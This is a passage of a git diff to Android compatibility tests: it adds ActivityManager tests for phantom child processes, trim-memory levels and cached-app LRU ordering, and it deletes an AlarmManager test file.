+                    new String[] {"/system/bin/sh", "-c",  "sleep 1000"});
+
+            // Wait for the start of the child process
+            assertTrue("Failed to spawn child process",
+                    startLatch.await(waitForSec, TimeUnit.MILLISECONDS));
+
+            // Finish the 1st activity
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_STOP_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+
+            watcher1.waitFor(WatchUidRunner.CMD_CACHED, null);
+
+            // Wait for the system to kill that light weight child (it won't happen actually)
+            CountDownLatch stopLatch = initWaitingForChildProcessGone(
+                    PACKAGE_NAME_APP1, processGoneTimeout);
+
+            assertFalse("App's light weight child process shouldn't be gone",
+                    stopLatch.await(processGoneTimeout, TimeUnit.MILLISECONDS));
+
+            // Sleep a while
+            SystemClock.sleep(powerCheckInterval);
+
+            // Now start an activity in the 3rd party
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP3, PACKAGE_NAME_APP3, 0, null);
+
+            watcher3.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null);
+
+            // Spawn a light weight child process
+            startLatch = startChildProcessInPackage(PACKAGE_NAME_APP3,
+                    new String[] {"/system/bin/sh", "-c",  "sleep 1000"});
+
+            // Wait for the start of the child process
+            assertTrue("Failed to spawn child process",
+                    startLatch.await(waitForSec, TimeUnit.MILLISECONDS));
+
+            // Now the 1st child process should have been gone.
+            stopLatch = initWaitingForChildProcessGone(
+                    PACKAGE_NAME_APP1, processGoneTimeout);
+
+            assertTrue("1st App's child process should have been gone",
+                    stopLatch.await(processGoneTimeout, TimeUnit.MILLISECONDS));
+
+        } finally {
+            amSettings.close();
+
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                final int current = currentMax.getInt(keyCurrent);
+                if (current < 0) {
+                    // Hm, DeviceConfig doesn't have an API to delete a property,
+                    // let's set it empty so the code will use the built-in default value.
+                    DeviceConfig.setProperty(namespaceActivityManager,
+                            maxPhantomProcesses, "", false);
+                } else {
+                    DeviceConfig.setProperty(namespaceActivityManager,
+                            maxPhantomProcesses, Integer.toString(current), false);
+                }
+            });
+
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist -" + PACKAGE_NAME_APP1);
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist -" + PACKAGE_NAME_APP2);
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist -" + PACKAGE_NAME_APP3);
+
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                // force stop test package, where the whole test process group will be killed.
+                mActivityManager.forceStopPackage(PACKAGE_NAME_APP1);
+                mActivityManager.forceStopPackage(PACKAGE_NAME_APP2);
+                mActivityManager.forceStopPackage(PACKAGE_NAME_APP3);
+            });
+
+            watcher1.finish();
+            watcher2.finish();
+            watcher3.finish();
+        }
+    }
+
+    private CountDownLatch startChildProcessInPackage(String pkgName, String[] cmdline) {
+        final CountDownLatch startLatch = new CountDownLatch(1);
+
+        final IBinder binder = new Binder() {
+            @Override
+            protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
+                    throws RemoteException {
+                switch (code) {
+                    case CommandReceiver.RESULT_CHILD_PROCESS_STARTED:
+                        startLatch.countDown();
+                        return true;
+                    default:
+                        return false;
+                }
+            }
+        };
+        final Bundle extras = new Bundle();
+        extras.putBinder(CommandReceiver.EXTRA_CALLBACK, binder);
+        extras.putStringArray(CommandReceiver.EXTRA_CHILD_CMDLINE, cmdline);
+
+        CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_CHILD_PROCESS,
+                pkgName, pkgName, 0, extras);
+
+        return startLatch;
+    }
+
+    final CountDownLatch stopChildProcess(String pkgName, long timeout) {
+        final CountDownLatch stopLatch = new CountDownLatch(1);
+
+        final IBinder binder = new Binder() {
+            @Override
+            protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
+                    throws RemoteException {
+                switch (code) {
+                    case CommandReceiver.RESULT_CHILD_PROCESS_STOPPED:
+                        stopLatch.countDown();
+                        return true;
+                    default:
+                        return false;
+                }
+            }
+        };
+        final Bundle extras = new Bundle();
+        extras.putBinder(CommandReceiver.EXTRA_CALLBACK, binder);
+        extras.putLong(CommandReceiver.EXTRA_TIMEOUT, timeout);
+
+        CommandReceiver.sendCommand(mTargetContext,
+                CommandReceiver.COMMAND_STOP_CHILD_PROCESS, pkgName, pkgName, 0, extras);
+
+        return stopLatch;
+    }
+
+    final CountDownLatch initWaitingForChildProcessGone(String pkgName, long timeout) {
+        final CountDownLatch stopLatch = new CountDownLatch(1);
+
+        final IBinder binder = new Binder() {
+            @Override
+            protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
+                    throws RemoteException {
+                switch (code) {
+                    case CommandReceiver.RESULT_CHILD_PROCESS_GONE:
+                        stopLatch.countDown();
+                        return true;
+                    default:
+                        return false;
+                }
+            }
+        };
+        final Bundle extras = new Bundle();
+        extras.putBinder(CommandReceiver.EXTRA_CALLBACK, binder);
+        extras.putLong(CommandReceiver.EXTRA_TIMEOUT, timeout);
+
+        CommandReceiver.sendCommand(mTargetContext,
+                CommandReceiver.COMMAND_WAIT_FOR_CHILD_PROCESS_GONE, pkgName, pkgName, 0, extras);
+
+        return stopLatch;
+    }
+
+    public void testTrimMemActivityFg() throws Exception {
+        final int waitForSec = 5 * 1000;
+        final ApplicationInfo ai1 = mTargetContext.getPackageManager()
+                .getApplicationInfo(PACKAGE_NAME_APP1, 0);
+        final WatchUidRunner watcher1 = new WatchUidRunner(mInstrumentation, ai1.uid, waitForSec);
+
+        final ApplicationInfo ai2 = mTargetContext.getPackageManager()
+                .getApplicationInfo(PACKAGE_NAME_APP2, 0);
+        final WatchUidRunner watcher2 = new WatchUidRunner(mInstrumentation, ai2.uid, waitForSec);
+
+        final ApplicationInfo ai3 = mTargetContext.getPackageManager()
+                .getApplicationInfo(CANT_SAVE_STATE_1_PACKAGE_NAME, 0);
+        final WatchUidRunner watcher3 = new WatchUidRunner(mInstrumentation, ai3.uid, waitForSec);
+
+        final CountDownLatch[] latchHolder = new CountDownLatch[1];
+        final int[] levelHolder = new int[1];
+        final Bundle extras = initWaitingForTrimLevel(latchHolder, levelHolder);
+        try {
+            // Make sure we could start activity from background
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist +" + PACKAGE_NAME_APP1);
+
+            latchHolder[0] = new CountDownLatch(1);
+
+            // Start an activity
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, extras);
+
+            watcher1.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null);
+
+            // Force the memory pressure to moderate
+            SystemUtil.runShellCommand(mInstrumentation, "am memory-factor set MODERATE");
+            assertTrue("Failed to wait for the trim memory event",
+                    latchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
+            assertEquals(TRIM_MEMORY_RUNNING_MODERATE, levelHolder[0]);
+
+            latchHolder[0] = new CountDownLatch(1);
+            // Force the memory pressure to low
+            SystemUtil.runShellCommand(mInstrumentation, "am memory-factor set LOW");
+            assertTrue("Failed to wait for the trim memory event",
+                    latchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
+            assertEquals(TRIM_MEMORY_RUNNING_LOW, levelHolder[0]);
+
+            latchHolder[0] = new CountDownLatch(1);
+            // Force the memory pressure to critical
+            SystemUtil.runShellCommand(mInstrumentation, "am memory-factor set CRITICAL");
+            assertTrue("Failed to wait for the trim memory event",
+                    latchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
+            assertEquals(TRIM_MEMORY_RUNNING_CRITICAL, levelHolder[0]);
+
+            // Reset the memory pressure override
+            SystemUtil.runShellCommand(mInstrumentation, "am memory-factor reset");
+
+            latchHolder[0] = new CountDownLatch(1);
+            // Start another activity in package2
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+            watcher2.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null);
+            assertTrue("Failed to wait for the trim memory event",
+                    latchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
+            assertEquals(TRIM_MEMORY_UI_HIDDEN, levelHolder[0]);
+
+            // Start the heavy weight activity
+            final Intent intent = new Intent();
+            final CountDownLatch[] heavyLatchHolder = new CountDownLatch[1];
+            final int[] heavyLevelHolder = new int[1];
+
+            intent.setPackage(CANT_SAVE_STATE_1_PACKAGE_NAME);
+            intent.setAction(Intent.ACTION_MAIN);
+            intent.addCategory(Intent.CATEGORY_LAUNCHER);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            intent.putExtras(initWaitingForTrimLevel(heavyLatchHolder, heavyLevelHolder));
+
+            mTargetContext.startActivity(intent);
+            watcher3.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null);
+
+            heavyLatchHolder[0] = new CountDownLatch(1);
+            // Force the memory pressure to moderate
+            SystemUtil.runShellCommand(mInstrumentation, "am memory-factor set MODERATE");
+            assertTrue("Failed to wait for the trim memory event",
+                    heavyLatchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
+            assertEquals(TRIM_MEMORY_RUNNING_MODERATE, heavyLevelHolder[0]);
+
+            // Now go home
+            final Intent homeIntent = new Intent();
+            homeIntent.setAction(Intent.ACTION_MAIN);
+            homeIntent.addCategory(Intent.CATEGORY_HOME);
+            homeIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+            heavyLatchHolder[0] = new CountDownLatch(1);
+            mTargetContext.startActivity(homeIntent);
+            assertTrue("Failed to wait for the trim memory event",
+                    heavyLatchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
+            assertEquals(TRIM_MEMORY_BACKGROUND, heavyLevelHolder[0]);
+
+            // All done, clean up.
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_STOP_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_STOP_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+
+            final Intent finishIntent = new Intent();
+            finishIntent.setPackage(CANT_SAVE_STATE_1_PACKAGE_NAME);
+            finishIntent.setAction(ACTION_FINISH);
+            finishIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            finishIntent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
+            mTargetContext.startActivity(finishIntent);
+
+            watcher1.waitFor(WatchUidRunner.CMD_CACHED, null);
+            watcher2.waitFor(WatchUidRunner.CMD_CACHED, null);
+            watcher3.waitFor(WatchUidRunner.CMD_CACHED, null);
+        } finally {
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist -" + PACKAGE_NAME_APP1);
+
+            SystemUtil.runShellCommand(mInstrumentation, "am memory-factor reset");
+
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                mActivityManager.forceStopPackage(PACKAGE_NAME_APP1);
+                mActivityManager.forceStopPackage(PACKAGE_NAME_APP2);
+                mActivityManager.forceStopPackage(CANT_SAVE_STATE_1_PACKAGE_NAME);
+            });
+
+            watcher1.finish();
+            watcher2.finish();
+            watcher3.finish();
+        }
+    }
+
+    public void testTrimMemActivityBg() throws Exception {
+        final int minLru = 8;
+        final int waitForSec = 30 * 1000;
+        final String prefix = "trimmem_";
+        final CountDownLatch[] latchHolder = new CountDownLatch[1];
+        final String pkgName = PACKAGE_NAME_APP1;
+        final ArrayMap<String, Pair<int[], ServiceConnection>> procName2Level = new ArrayMap<>();
+        int startSeq = 0;
+
+        try {
+            // Kill all background processes
+            SystemUtil.runShellCommand(mInstrumentation, "am kill-all");
+
+            List<String> lru;
+            // Start a new isolated service once a time, and then check the lru list
+            do {
+                final String instanceName = prefix + startSeq++;
+                final int[] levelHolder = new int[1];
+
+                // Spawn the new isolated service
+                final ServiceConnection conn = TrimMemService.bindToTrimMemService(
+                        pkgName, instanceName, latchHolder, levelHolder, mTargetContext);
+
+                // Get the list of all cached apps
+                lru = getCachedAppsLru();
+                assertTrue(lru.size() > 0);
+
+                for (int i = lru.size() - 1; i >= 0; i--) {
+                    String p = lru.get(i);
+                    if (p.indexOf(instanceName) != -1) {
+                        // This is the new one we just created
+                        procName2Level.put(p, new Pair<>(levelHolder, conn));
+                        break;
+                    }
+                }
+                if (lru.size() < minLru) {
+                    continue;
+                }
+                if (lru.get(0).indexOf(pkgName) != -1) {
+                    // Okay now the very least recent used cached process is one of ours
+                    break;
+                } else {
+                    // Hm, someone dropped below us in the between, let's kill it
+                    ArraySet<String> others = new ArraySet<>();
+                    for (int i = 0, size = lru.size(); i < size; i++) {
+                        final String name = lru.get(i);
+                        if (name.indexOf(pkgName) != -1) {
+                            break;
+                        }
+                        others.add(name);
+                    }
+                    SystemUtil.runWithShellPermissionIdentity(() -> {
+                        final List<ActivityManager.RunningAppProcessInfo> procs = mActivityManager
+                                .getRunningAppProcesses();
+                        for (ActivityManager.RunningAppProcessInfo info: procs) {
+                            if (info.importance
+                                    == ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED) {
+                                if (others.contains(info.processName)) {
+                                    mActivityManager.killBackgroundProcesses(info.pkgList[0]);
+                                }
+                            }
+                        }
+                    });
+                }
+            } while (true);
+
+            // Remove all other processes
+            for (int i = lru.size() - 1; i >= 0; i--) {
+                if (lru.get(i).indexOf(pkgName) == -1) {
+                    lru.remove(i);
+                }
+            }
+
+            latchHolder[0] = new CountDownLatch(lru.size());
+            // Force the memory pressure to moderate
+            SystemUtil.runShellCommand(mInstrumentation, "am memory-factor set MODERATE");
+            assertTrue("Failed to wait for the trim memory event",
+                    latchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
+
+            // Verify the trim levels among the LRU
+            int level = TRIM_MEMORY_COMPLETE;
+            assertEquals(level, procName2Level.get(lru.get(0)).first[0]);
+            for (int i = 1, size = lru.size(); i < size; i++) {
+                int curLevel = procName2Level.get(lru.get(i)).first[0];
+                assertTrue(level >= curLevel);
+                level = curLevel;
+            }
+
+            // Cleanup: Unbind from them
+            for (int i = procName2Level.size() - 1; i >= 0; i--) {
+                mTargetContext.unbindService(procName2Level.valueAt(i).second);
+            }
+        } finally {
+            SystemUtil.runShellCommand(mInstrumentation, "am memory-factor reset");
+
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                mActivityManager.forceStopPackage(PACKAGE_NAME_APP1);
+            });
+        }
+    }
+
+    public void testServiceDoneLRUPosition() throws Exception {
+        ApplicationInfo ai = mTargetContext.getPackageManager()
+                .getApplicationInfo(PACKAGE_NAME_APP1, 0);
+        final WatchUidRunner watcher1 = new WatchUidRunner(mInstrumentation, ai.uid, WAITFOR_MSEC);
+        ai = mTargetContext.getPackageManager().getApplicationInfo(PACKAGE_NAME_APP2, 0);
+        final WatchUidRunner watcher2 = new WatchUidRunner(mInstrumentation, ai.uid, WAITFOR_MSEC);
+        ai = mTargetContext.getPackageManager().getApplicationInfo(PACKAGE_NAME_APP3, 0);
+        final WatchUidRunner watcher3 = new WatchUidRunner(mInstrumentation, ai.uid, WAITFOR_MSEC);
+        final HandlerThread handlerThread = new HandlerThread("worker");
+        final Messenger[] controllerHolder = new Messenger[1];
+        final CountDownLatch[] countDownLatchHolder = new CountDownLatch[1];
+        handlerThread.start();
+        final Messenger messenger = new Messenger(new Handler(handlerThread.getLooper(), msg -> {
+            final Bundle bundle = (Bundle) msg.obj;
+            final IBinder binder = bundle.getBinder(CommandReceiver.EXTRA_MESSENGER);
+            if (binder != null) {
+                controllerHolder[0] = new Messenger(binder);
+                countDownLatchHolder[0].countDown();
+            }
+            return true;
+        }));
+
+        try {
+            // Make sure we could start activity from background
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist +" + PACKAGE_NAME_APP1);
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist +" + PACKAGE_NAME_APP2);
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist +" + PACKAGE_NAME_APP3);
+
+            // Start a FGS in app1
+            final Bundle extras = new Bundle();
+            countDownLatchHolder[0] = new CountDownLatch(1);
+            extras.putBinder(CommandReceiver.EXTRA_MESSENGER, messenger.getBinder());
+            CommandReceiver.sendCommand(mTargetContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, extras);
+
+            watcher1.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE, null);
+
+            assertTrue("Failed to get the controller interface",
+                    countDownLatchHolder[0].await(WAITFOR_MSEC, TimeUnit.MILLISECONDS));
+
+            // Start an activity in another package
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP2, PACKAGE_NAME_APP2, 0, null);
+
+            watcher2.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null);
+
+            // Start another activity in another package
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP3, PACKAGE_NAME_APP3, 0, null);
+
+            watcher3.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null);
+
+            // Stop both of these activities
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_STOP_ACTIVITY,
+                    PACKAGE_NAME_APP2, PACKAGE_NAME_APP2, 0, null);
+            watcher2.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY, null);
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_STOP_ACTIVITY,
+                    PACKAGE_NAME_APP3, PACKAGE_NAME_APP3, 0, null);
+            watcher3.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY, null);
+
+            // Launch home so we'd have cleared these the above test activities from recents.
+            launchHome();
+
+            // Now stop the foreground service, we'd have to do via the controller interface
+            final Message msg = Message.obtain();
+            try {
+                msg.what = LocalForegroundService.COMMAND_STOP_SELF;
+                controllerHolder[0].send(msg);
+            } catch (RemoteException e) {
+                fail("Unable to stop test package");
+            }
+            msg.recycle();
+            watcher1.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY, null);
+
+            final List<String> lru = getCachedAppsLru();
+
+            assertTrue("Failed to get cached app list", lru.size() > 0);
+            final int app1LruPos = lru.indexOf(PACKAGE_NAME_APP1);
+            final int app2LruPos = lru.indexOf(PACKAGE_NAME_APP2);
+            final int app3LruPos = lru.indexOf(PACKAGE_NAME_APP3);
+            if (app1LruPos != -1) {
+                assertTrue(PACKAGE_NAME_APP1 + " should be newer than " + PACKAGE_NAME_APP2,
+                        app1LruPos > app2LruPos);
+                assertTrue(PACKAGE_NAME_APP1 + " should be newer than " + PACKAGE_NAME_APP3,
+                        app1LruPos > app3LruPos);
+            } else {
+                assertEquals(PACKAGE_NAME_APP2 + " should have gone", -1, app2LruPos);
+                assertEquals(PACKAGE_NAME_APP3 + " should have gone", -1, app3LruPos);
+            }
+        } finally {
+            handlerThread.quitSafely();
+
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist -" + PACKAGE_NAME_APP1);
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist -" + PACKAGE_NAME_APP2);
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist -" + PACKAGE_NAME_APP3);
+
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                // force stop test package, where the whole test process group will be killed.
+                mActivityManager.forceStopPackage(PACKAGE_NAME_APP1);
+                mActivityManager.forceStopPackage(PACKAGE_NAME_APP2);
+                mActivityManager.forceStopPackage(PACKAGE_NAME_APP3);
+            });
+
+            watcher1.finish();
+            watcher2.finish();
+            watcher3.finish();
+        }
+    }
+
+    private List<String> getCachedAppsLru() throws Exception {
+        final List<String> lru = new ArrayList<>();
+        final String output = SystemUtil.runShellCommand(mInstrumentation, "dumpsys activity lru");
+        final String[] lines = output.split("\n");
+        for (String line: lines) {
+            if (line == null || line.indexOf(" cch") == -1) {
+                continue;
+            }
+            final int slash = line.lastIndexOf('/');
+            if (slash == -1) {
+                continue;
+            }
+            line = line.substring(0, slash);
+            final int space = line.lastIndexOf(' ');
+            if (space == -1) {
+                continue;
+            }
+            line = line.substring(space + 1);
+            final int colon = line.indexOf(':');
+            if (colon == -1) {
+                continue;
+            }
+            lru.add(0, line.substring(colon + 1));
+        }
+        return lru;
+    }
+
+    private Bundle initWaitingForTrimLevel(
+            final CountDownLatch[] latchHolder, final int[] levelHolder) {
+        final IBinder binder = new Binder() {
+            @Override
+            protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
+                    throws RemoteException {
+                switch (code) {
+                    case IBinder.FIRST_CALL_TRANSACTION:
+                        levelHolder[0] = data.readInt();
+                        latchHolder[0].countDown();
+                        return true;
+                    default:
+                        return false;
+                }
+            }
+        };
+        final Bundle extras = new Bundle();
+        extras.putBinder(CommandReceiver.EXTRA_CALLBACK, binder);
+        return extras;
+    }
+
     private RunningAppProcessInfo getRunningAppProcessInfo(String processName) {
         try {
             return SystemUtil.callWithShellPermissionIdentity(()-> {
diff --git a/tests/app/src/android/app/cts/AlarmManagerTest.java b/tests/app/src/android/app/cts/AlarmManagerTest.java
deleted file mode 100644
index 789d938..0000000
--- a/tests/app/src/android/app/cts/AlarmManagerTest.java
+++ /dev/null
@@ -1,356 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.app.cts;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-
-import android.app.AlarmManager;
-import android.app.AlarmManager.AlarmClockInfo;
-import android.app.PendingIntent;
-import android.app.stubs.MockAlarmReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Build;
-import android.os.SystemClock;
-import android.test.AndroidTestCase;
-import android.test.MoreAsserts;
-import android.util.Log;
-
-import androidx.test.filters.LargeTest;
-
-import com.android.compatibility.common.util.PollingCheck;
-
-public class AlarmManagerTest extends AndroidTestCase {
-    public static final String MOCKACTION = "android.app.AlarmManagerTest.TEST_ALARMRECEIVER";
-    public static final String MOCKACTION2 = "android.app.AlarmManagerTest.TEST_ALARMRECEIVER2";
-
-    private AlarmManager mAm;
-    private Intent mIntent;
-    private PendingIntent mSender;
-    private Intent mIntent2;
-    private PendingIntent mSender2;
-
-    /*
-     *  The default snooze delay: 5 seconds
-     */
-    private static final long SNOOZE_DELAY = 5 * 1000L;
-    private long mWakeupTime;
-    private MockAlarmReceiver mMockAlarmReceiver;
-    private MockAlarmReceiver mMockAlarmReceiver2;
-
-    private static final int TIME_DELTA = 1000;
-    private static final int TIME_DELAY = 10000;
-    private static final int REPEAT_PERIOD = 60000;
-
-    // Receiver registration/unregistration between tests races with the system process, so
-    // we add a little buffer time here to allow the system to process before we proceed.
-    // This value is in milliseconds.
-    private static final long REGISTER_PAUSE = 250;
-
-    // Constants used for validating exact vs inexact alarm batching immunity.  We run a few
-    // trials of an exact alarm that is placed within an inexact alarm's window of opportunity,
-    // and mandate that the average observed delivery skew between the two be statistically
-    // significant -- i.e. that the two alarms are not being coalesced.  We also place an
-    // additional exact alarm only a short time after the inexact alarm's nominal trigger time.
-    // If exact alarms are allowed to batch with inexact ones this will tend to have no effect,
-    // but in the correct behavior -- inexact alarms not permitted to batch with exact ones --
-    // this additional exact alarm will have the effect of guaranteeing that the inexact alarm
-    // must fire no later than it -- i.e. a considerable time before the significant, later
-    // exact alarm.
-    //
-    // The test essentially amounts to requiring that the inexact MOCKACTION alarm and
-    // the much later exact MOCKACTION2 alarm fire far apart, always; with an implicit
-    // insistence that alarm batches are delivered at the head of their window.
-    private static final long TEST_WINDOW_LENGTH = 5 * 1000L;
-    private static final long TEST_ALARM_FUTURITY = 6 * 1000L;
-    private static final long FAIL_DELTA = 50;
-    private static final long NUM_TRIALS = 5;
-    private static final long MAX_NEAR_DELIVERIES = 2;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mAm = (AlarmManager) mContext.getSystemService(Context.ALARM_SERVICE);
-
-        mIntent = new Intent(MOCKACTION)
-                .addFlags(Intent.FLAG_RECEIVER_FOREGROUND | Intent.FLAG_RECEIVER_REGISTERED_ONLY);
-        mSender = PendingIntent.getBroadcast(mContext, 0, mIntent, 0);
-        mMockAlarmReceiver = new MockAlarmReceiver(mIntent.getAction());
-
-        mIntent2 = new Intent(MOCKACTION2)
-                .addFlags(Intent.FLAG_RECEIVER_FOREGROUND | Intent.FLAG_RECEIVER_REGISTERED_ONLY);
-        mSender2 = PendingIntent.getBroadcast(mContext, 0, mIntent2, 0);
-        mMockAlarmReceiver2 = new MockAlarmReceiver(mIntent2.getAction());
-
-        IntentFilter filter = new IntentFilter(mIntent.getAction());
-        mContext.registerReceiver(mMockAlarmReceiver, filter);
-
-        IntentFilter filter2 = new IntentFilter(mIntent2.getAction());
-        mContext.registerReceiver(mMockAlarmReceiver2, filter2);
-
-        Thread.sleep(REGISTER_PAUSE);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        mContext.unregisterReceiver(mMockAlarmReceiver);
-        mContext.unregisterReceiver(mMockAlarmReceiver2);
-
-        Thread.sleep(REGISTER_PAUSE);
-    }
-
-    public void testSetTypes() throws Exception {
-        // TODO: try to find a way to make device sleep then test whether
-        // AlarmManager perform the expected way
-
-        // test parameter type is RTC_WAKEUP
-        mMockAlarmReceiver.setAlarmedFalse();
-        mWakeupTime = System.currentTimeMillis() + SNOOZE_DELAY;
-        mAm.setExact(AlarmManager.RTC_WAKEUP, mWakeupTime, mSender);
-        new PollingCheck(SNOOZE_DELAY + TIME_DELAY) {
-            @Override
-            protected boolean check() {
-                return mMockAlarmReceiver.alarmed;
-            }
-        }.run();
-        assertEquals(mMockAlarmReceiver.rtcTime, mWakeupTime, TIME_DELTA);
-
-        // test parameter type is RTC
-        mMockAlarmReceiver.setAlarmedFalse();
-        mWakeupTime = System.currentTimeMillis() + SNOOZE_DELAY;
-        mAm.setExact(AlarmManager.RTC, mWakeupTime, mSender);
-        new PollingCheck(SNOOZE_DELAY + TIME_DELAY) {
-            @Override
-            protected boolean check() {
-                return mMockAlarmReceiver.alarmed;
-            }
-        }.run();
-        assertEquals(mMockAlarmReceiver.rtcTime, mWakeupTime, TIME_DELTA);
-
-        // test parameter type is ELAPSED_REALTIME
-        mMockAlarmReceiver.setAlarmedFalse();
-        mWakeupTime = SystemClock.elapsedRealtime() + SNOOZE_DELAY;
-        mAm.setExact(AlarmManager.ELAPSED_REALTIME, mWakeupTime, mSender);
-        new PollingCheck(SNOOZE_DELAY + TIME_DELAY) {
-            @Override
-            protected boolean check() {
-                return mMockAlarmReceiver.alarmed;
-            }
-        }.run();
-        assertEquals(mMockAlarmReceiver.elapsedTime, mWakeupTime, TIME_DELTA);
-
-        // test parameter type is ELAPSED_REALTIME_WAKEUP
-        mMockAlarmReceiver.setAlarmedFalse();
-        mWakeupTime = SystemClock.elapsedRealtime() + SNOOZE_DELAY;
-        mAm.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP, mWakeupTime, mSender);
-        new PollingCheck(SNOOZE_DELAY + TIME_DELAY) {
-            @Override
-            protected boolean check() {
-                return mMockAlarmReceiver.alarmed;
-            }
-        }.run();
-        assertEquals(mMockAlarmReceiver.elapsedTime, mWakeupTime, TIME_DELTA);
-    }
-
-    public void testAlarmTriggersImmediatelyIfSetTimeIsNegative() throws Exception {
-        // An alarm with a negative wakeup time should be triggered immediately.
-        // This exercises a workaround for a limitation of the /dev/alarm driver
-        // that would instead cause such alarms to never be triggered.
-        mMockAlarmReceiver.setAlarmedFalse();
-        mWakeupTime = -1000;
-        mAm.set(AlarmManager.RTC, mWakeupTime, mSender);
-        new PollingCheck(2 * TIME_DELAY) {
-            @Override
-            protected boolean check() {
-                return mMockAlarmReceiver.alarmed;
-            }
-        }.run();
-    }
-
-    public void testExactAlarmBatching() throws Exception {
-        int deliveriesTogether = 0;
-        for (int i = 0; i < NUM_TRIALS; i++) {
-            final long now = System.currentTimeMillis();
-            final long windowStart = now + TEST_ALARM_FUTURITY;
-            final long exactStart = windowStart + TEST_WINDOW_LENGTH - 1;
-
-            mMockAlarmReceiver.setAlarmedFalse();
-            mMockAlarmReceiver2.setAlarmedFalse();
-            mAm.setWindow(AlarmManager.RTC_WAKEUP, windowStart, TEST_WINDOW_LENGTH, mSender);
-            mAm.setExact(AlarmManager.RTC_WAKEUP, exactStart, mSender2);
-
-            // Wait until a half-second beyond its target window, just to provide a
-            // little safety slop.
-            new PollingCheck(TEST_WINDOW_LENGTH + (windowStart - now) + 500) {
-                @Override
-                protected boolean check() {
